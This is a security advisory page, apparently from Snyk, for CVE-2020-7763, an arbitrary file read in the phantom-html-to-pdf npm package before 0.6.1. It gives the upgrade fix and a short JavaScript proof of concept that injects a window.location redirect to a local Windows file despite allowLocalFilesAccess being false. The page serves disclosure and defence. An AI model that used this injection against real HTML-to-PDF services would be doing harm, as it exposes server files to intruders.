Arbitrary File Read Affecting phantom-html-to-pdf package, versions <0.6.1
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.26% (66th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-PHANTOMHTMLTOPDF-1023598
- published 5 Nov 2020
- disclosed 29 Oct 2020
- credit Anand Namana
Introduced: 29 Oct 2020
CVE-2020-7763 Open this link in a new tabHow to fix?
Upgrade phantom-html-to-pdf
to version 0.6.1 or higher.
Overview
phantom-html-to-pdf is a Convert html to pdf using phantomjs
Affected versions of this package are vulnerable to Arbitrary File Read.
PoC
var fs = require('fs')
var conversion = require("phantom-html-to-pdf")();
conversion.allowLocalFilesAccess = false
conversion({ html: "document.write(window.location='c:/windows/win.ini')" }, function(err, pdf) {
var output = fs.createWriteStream('output.pdf')
console.log(pdf.logs);
console.log(pdf.numberOfPages);
pdf.stream.pipe(output);
});
References
CVSS Scores
version 3.1